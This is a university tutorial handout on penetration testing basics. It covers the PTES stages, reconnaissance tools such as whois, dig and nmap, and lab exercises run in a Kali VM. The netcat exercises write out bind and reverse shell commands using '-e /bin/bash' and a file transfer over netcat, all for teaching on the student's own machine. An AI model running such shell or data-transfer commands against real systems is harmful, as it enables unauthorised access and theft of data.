CSC347 Tutorial 1 - Penetration testing, Basics

Before anything else!

- cd /virtual
- mkdir <utorids>
- cd <utorids>
- unzip ../a2/kali.zip
- This takes nearly 5 minutes. Try to use the same computer each time we use kali.

LATER!
When you first open the vm,
BEFORE starting it

- Edit Virtual settings
- Network Adaptor
- Custom – change it so vmnet8

Choose "I copied it" when asked

Intended Outcomes:

At the end of this tutorial, you should:
Understand the relevance of the steps in a Penetration Test
Have gathered information about the localhost or your own laptop
Be able to gather information on your own home network, or your own personal business network.

Source for this tut:

Book: A Hands-On Introduction to Hacking by Georgia Weidman
(Who mentions Penetration Testing Execution Standard (PTES):
http://www.pentest-standard.org/)

Stages of the Penetration Testing

1. **Pre-engagement**
2. **Information Gathering**
3. **Threat Modeling**
4. **Vulnerability Analysis**
5. **Exploitation**
6. **Post Exploitation**
7. **Reporting**

In more detail

1. Pre-engagement

Critical:
Scope
NDA
Reporting
Never do anything you do not have an agreement for (get out of Jail-Free-Card)
What are the client's goals – why do they want a pentest
What data are important to the client/ what matters most to them?
** Do they know what a pentest is, what is required to do one properly?
** Do they understand a pentest could crash a system?
Who do you contact / what times of the day can you do the work?

2. Information Gathering

- What has the client told you ** think social engineering
- What is available publically * LinkedIn; job adverts; social sites
- What would a hacker find to allow them to attack the system
- http://www.netcraft.com/
- whois <url>
- nslookup / dig / host -t ns url
- Can you get dns records? Eg
- host -l zoneedit.com ns2.zoneedit.com
- email records. In kali, there is a tool called harvester. You could investigate it
- maltego "data-mining tool designed to visualize open source intelligence gathering" (there is a community edition, it is installed (I think) on Kali Linux
- nc "The Swiss Army Knife of TCP/IP Connections"
- telnet
- nmap

3. Threat Modeling

"The tester uses this information to determine the value of each finding and the impact to the client if the finding permitted an attacker to break into a system. This evaluation allows the pentester to develop an action plan and methods of attack."

What do you attack? You are trying to get to the information/system the client regards as critical. However, you might get there indirectly.

4. Vulnerability Analysis

- Nessus
- Web scanners
- Nmap
- Metasploit
- . . .
- Manual Analysis

5. Exploitation

TBA

6. Post Exploitation

TBA

7. Reporting

Critical – remember you writing courses, remember all the documentation.
Read other pentests to see how these are formatted.
If your documentation is poor, you are unlikely to be invited to repeat the pentest the following year.
We probably will not discuss documentation.

8. To complete in this tutorial, complete these exercises/ answer these questions:

1. What is the Netcraft Risk Rating of your bank?
2. What information does www.netcraft.com provide about the site technology used by your bank?
3. How does this compare with a site that has lots of social media/advertising?
4. Is it ethical for us to look at this information?
5. What does whois tell you about your bank? Would this information help you with when using social engineering to help you gather information? When do you think whois would be particularly useful? Do any of you have such records on the internet?
6. What of the three different ways of ooking up DNS information (dig / nslookup / host) is most useful? Try them on google.com. (dig = *domain internet groper)* .
7. Netcat – you will need to run these inside you Kali VM, as the host has most ports closed off.
    a. Open two terminals
    b. nc –h
    c. nc –lv 1234 (Note. In the lab, -lvp does not work. In Kali, the command is –lvp)
    d. in the other terminal, try nc <IP addres> 1234
    e. !! This should all be very familiar from csc358 and from other cs courses

f. kill both
g. In Kali, the netcat allows command shells to be run. The lab computers do not allow this. (What does this mean when you are pentesting?). Try these:
    i. nc –lvp 1234 -e /bin/bash (first terminal)
    ii. nc [ip_address] (second terminal)
    iii. whoami (answer root) (second terminal)
    iv. ctr c to stop
h. Now try these
    i. nc -lvp 1234
    ii. nc [ip address] -e /bin/bash
    iii. enter terminal commands, and you will see them executed on the other terminal
    iv. ctr c to stop
i. Now copy a file:
    i. nc -lvp 1234 > netcatfile
    ii. create a file
    iii. nc [ip address] < mydirectory/myfile
j. These were all in the same computer. You can see this could be very useful, if you had access to a computer
k. Nmap
    i. man nmap
    ii. nmap -v -v -sV -sC -oA file_name -PN 192.168.0.1/25
    iii. Explain what each parameter does

Future Career?

If you were interested in a career in pen testing, what do you need to bring to the table? These are some things to think about

- Do you run your own systems?
- How many OS's do you run?
- Have you made use of the free VMWare available to you to set up vulnerable OS's?
- Can you write scripts
- Do you like puzzles
- Do you have tenacity and patience

Successful penetration testing requires in depth knowledge and experience, and practice. All of the above are useful in any security area. However, this is not complete, add to it.

Integrity of files. I had to install nmap on my mac. Do you always check the integrity of files you download? This was a useful page.
http://nmap.org/book/install.html#inst-integrity